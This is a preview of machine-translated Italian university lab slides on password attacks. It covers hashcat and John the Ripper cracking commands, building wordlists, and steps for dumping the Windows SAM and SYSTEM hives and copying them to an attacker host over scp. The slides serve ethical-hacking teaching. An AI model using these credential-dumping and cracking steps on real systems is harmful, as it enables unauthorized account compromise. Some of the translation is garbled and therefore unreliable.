Attacchi alle password: tecniche e strumenti con esempi pratici

Slide dal Politecnico di Bari su Attacchi alle password. Il Pdf esamina le tecniche di attacco alle password, con un focus su strumenti come Hashcat per Linux e John the Ripper per Windows, oltre a BurpSuite e Hydra per attacchi online, utile per lo studio universitario di Informatica.

Mostra di più

52 pagine

DEI, Politecnico di Bari
Hacking etico
Ilaria Cianci, PhD
Laboratorio
e-mail: ilaria.cianci@poliba.it
RTD-A
Attacchi alle password
- aa 2023-24 -
Machine Translated by Google
PC
Hashcat per un attacco diretto alle password memorizzate sul
sistema Linux
John the ripper per aver attaccato le password memorizzate su Windows
Oggi useremo:
BurpSuite e Hydra per attaccare le password online
Introduzione
2
Machine Translated by Google

Visualizza gratis il Pdf completo

Registrati per accedere all’intero documento e trasformarlo con l’AI.

Anteprima

Introduzione

Oggi useremo:

  • Hashcat per un attacco diretto alle password memorizzate sul sistema Linux
  • John the ripper per aver attaccato le password memorizzate su Windows PC
  • BurpSuite e Hydra per attaccare le password online

2

Metodi di attacco alle password

  • Password guessing
  • Attacco al dizionario
  • Attacco a forza bruta
  • Tavoli arcobaleno
  • Approccio ibrido y attacco brute force con dizionario specifico

3

Dizionario ben noto

  • Un popolare wordlist di password è rockyou.txt. Contiene un elenco di password comunemente utilizzate ed è popolare tra i pen tester.
  • Puoi trovare la lista di parole Rockyou in /usr/share/wordlists in Kali Linux.

4

Come creare un dizionario personalizzato

  • CEWL (generatore di elenchi di parole personalizzate) CeWL è un'app Ruby che analizza un URL specificato a una profondità specificata, seguendo facoltativamente i link esterni e restituisce un elenco di parole che può quindi essere utilizzato per i password cracker cewl https:// digi.ninja -m 5 -d 2 -w dizionario.txt Destinazione URL Lunghezza minima della parola Profondità del ragno File di output https://digi.ninja/projects/cewl.ph

5

Come creare un dizionario personalizzato

  • Eseguendo Crunch possiamo generare tutte le possibili permutazioni di 6 caratteri con le parole A e B: scricchiolio 6 6 AB

6

Attacchi alle password Linux

he: inistrator word:

7

/etc/ombra

  • Il file /etc/shadow memorizza le informazioni protette dell'account utente. Tutti i campi sono separati dal simbolo due punti (:). . Contiene una voce per riga per ogni utente elencato nel file / etc/passwd.

8

voci /etc/shadow

vivek: $1$inffic$pGteyHdicpGOfffXX4ow#5:13064:0:99999:7 ::: 2 3 4 5 6

  1. Nome utente
  2. Parola d'ordine
  3. Ultima modifica della password
  4. Minimo (giorni richiesti tra le modifiche della password)
  5. Massimo (numero di giorni di validità della password)
  6. Avvisa (numero di giorni prima della scadenza della password in cui l'utente viene avvisato)
  7. Inattivo (numero di giorni dopo la scadenza della password in cui l'account è disabilitato)
  8. Scadenza

9

Formato della password

  • Di solito il formato della password è impostato su $id$salt$hashed . L'algoritmo $id è utilizzato su GNU/Linux come segue:
  1. $1$ is MD5 cat / etc/ shadow | grep ilaria Ilaria: $6$c6U2. .$R.93 ....
  2. $2a$ is Blowfish
  3. $2y$ is Blowfish
  4. $5$ is SHA-256 $6 = SHA-512
  5. $6$ is SHA-512

10

Utilizzando Hashcat

  • Hashcat è uno strumento incluso in Kali Linux che consente di scoprire la password di un utente Linux partendo dal suo hash memorizzato nel file shadow, che si trova nella cartella /etc. . Linux utilizza SHA-512 come algoritmo hash, insieme alla funzione di salting.

11

Hashcat: modalità di attacco

  • Attacco al dizionario (-a 0)
  • opzione predefinita in Hashcat. Un attacco dizionario viene eseguito utilizzando una wordlist. Quanto migliore è la wordlist, tanto maggiori sono le possibilità di crackare la password.
  • Attacco combinatore (-a 1)
  • L'attacco combinatore proverà diverse combinazioni di parole da la nostra lista di parole.
  • Attacco mascherato (-a 3)
  • L'attacco maschera è simile all'attacco dizionario, ma è più specifico. Gli approcci brute-force come gli attacchi dizionario possono richiedere molto tempo per decifrare una password. Ma se abbiamo informazioni sulla password, possiamo usarle per accelerare il tempo necessario per decifrarla. Ad esempio, se conosciamo la lunghezza della password e alcuni caratteri che potrebbero essere nella password, possiamo generare un wordlist personalizzato con quei caratteri.

12

Utilizzando Hashcat

  • Crea file con password crittografata:
  • openssl passwd -6 -salt salt prova Utilizzare sha256/512
  • hashcat -- force -m 1800 -a 0 dizionario di prova.txt Tipo di hash Modalità di attacco
  • Vedere il riferimento su https://tools.kali.org/password- attacks/hashcat
  • Utilizzare l'opzione -- show per il risultato

13

Opzioni Hashcat

  • Per la modalità Hash, controlla la guida e seleziona il valore corretto (ad esempio 1800 = SHA512 (Unix) )
  • Modalità di attacco: Attack- Mode Hash- Type Example command Wordlist $P$ hashcat -a 0 -m 400 example400. hash example.dict Wordlist + Rules | MD5 hashcat -a 0 -m 0 example0. hash example.dict -r rules/best64.rule Brute-Force MD5 hashcat -a 3 -m 0 example0. hash ?a?a?a?a?a?a Combinator MD5 hashcat -a 1 -m 0 example0. hash example.dict example.dict

14

Attacchi alle password di Windows

he: inistrator word:

15

Ottenere la password di Windows

  • Ricordiamo che appropriarsi di un file SAM, contenente le password di accesso degli utenti ad un dato PC, è un reato.
  • Inizieremo con l'acquisizione del file SAM di una delle nostre macchine campione (C:// Windows/System32/config/SAM)

16

Esempio di file SAM

  • Amministratore:500:000000000000000000000000000000000000:A1F 666E43A1DFFE40B96201AFDD26CF3:Account predefinito per l'amministrazione del computer/dominio ::
  • Ospite:501:000000000000000000000000000000000000:000000000 00000000000000000000000:Account predefinito per l'accesso come utente ospite al computer/dominio ::
  • Gas:1000:000000000000000000000000000000000000:0130FA6701 FAB7E584FBF4634EF27B76 :::
  • Test_HTML_psw:1000:579DA0AF433BC64A3832C92FC614B7D1 :B0214CFC129F0AF9AD7A992241280E3E :::

17

Come ottenere il file SAM

  • Aprire cmd come amministratore ed eseguire: . reg save \hklm\sam c:\sam . reg save \hklm\system c:\system
  • Copiare entrambi i file sul desktop
  • Nel cmd:
  • scp C:\Utenti\IEUser\Desktoplsam root@KALI-IP:/root/sam . scp C: \Utenti\IEUser\Desktop\system root@KALI- IP:/root/sistema

18

Come ottenere il file SAM

  • Nella corsa di Kali:
  • Sistema Samdump2 sam > hashWindows.txt

19

Giovanni lo Squartatore

  • John the Ripper è forse il password cracker preferito dalla maggior parte dei penetration tester e degli hacker del mondo.
  • Ha molte funzionalità, come il riconoscimento automatico degli algoritmi di crittografia e hashing più comuni, la possibilità di usare dizionari e attacchi brute force;
  • Consente di applicare regole alle parole del dizionario, di modificarle e di avere un elenco di parole più ricco durante il cracking senza la necessità di memorizzare tale elenco. Quest'ultima funzionalità è quella che useremo in questa ricetta per generare un dizionario esteso basato su un elenco di parole molto semplice.

20

Come installare John the Ripper

  • sudo apt install John
  • john -h [+]$ john -h Created directory: /home/htb-ac78569/ . john John the Ripper 1.9.0-jumbo- 1 OMP [linux-gnu 64-bit x86_64 AVX2 AC] Copyright (c) 1996-2019 by Solar Designer and others Homepage : http://www.openwall.com/john/ Usage: john [OPTIONS] [ PASSWORD-FILES] - - single [=SECTION [ , . . ] ] "single crack" mode, using default or named rules same, using "immediate" rule(s) - - single= : rule [ , .. ] -wordlist [=FILE] -- stdin -- pipe - loopback [=FILE] - - dupe- suppression - - prince [=FILE] -encoding=NAME htb_vpn_logs.log - - rules [=SECTION [ , . . ] ] - - rules =: rule [ ; . . ] ] -- rules-stack=SECTION[, .. ] stacked rules, applied after regular rules or to modes that otherwise don't support rules - - rules-stack =: rule [ ; . . ] same, using "immediate" rule(s) "incremental" mode [using_section MODE] -- incremental [=MODE ] wordlist mode, read words from FILE or stdin like -- stdin, but bulk reads, and allows rules like -- wordlist, but extract words from a .pot file suppress all dupes in wordlist (and force preload) PRINCE mode, read words from FILE input encoding (eg. UTF-8, ISO-8859-1). See also doc/ENCODINGS and -- list=hidden-options. enable word mangling rules (for wordlist or PRINCE modes), using default or named rules same, using "immediate" rule(s)

21

Come usare John lo Squartatore

  • John offre tre modalità:
  1. Modalità crack singolo
  2. Modalità wordlist
  3. Modalità incrementale

22

Modalità di crepa singola

  • In modalità single-crack, John prende una stringa e genera varianti di quella stringa per generare un set di password.
  • Ad esempio, se il nostro nome utente è "stealth" e la password è "StEaLtH", possiamo utilizzare la modalità singola di John per generare varianti di password (STEALTH, Stealth, STealth e così via).
  • Utilizziamo il flag "format" per specificare il tipo di hash e il flag "single" per far sapere a John che vogliamo utilizzare la modalità crack singola.
  • $ john -- single -- format=raw-sha1 crack.txt

23

Modalità dizionario

  • In modalità dizionario, forniremo a John un elenco di password. John genererà hash per queste al volo e le confronterà con il nostro hash della password.
  • Per questo esempio, useremo la wordlist RockYou. Se stai usando Kali, puoi trovarla in /usr/share/wordlists/rockyou.txt.
  • john -- wordlist=/usr/share/wordlists/rockyou.txt -- formato=raw-sha1 crack.txt

24

Modalità incrementale

  • La modalità incrementale è la modalità più potente fornita da John. Prova tutte le possibili combinazioni di caratteri come password
  • $ john -i:cifre passwordfile.txt

25

Come decifrare una password di Windows

  • Forza bruta:
  • john -- format=LM /root/hashWindows.txt
  • john -- mostra /root/hashWindows.txt

26

Non hai trovato quello che cercavi?

Esplora altri argomenti nella Algor library o crea direttamente i tuoi materiali con l’AI.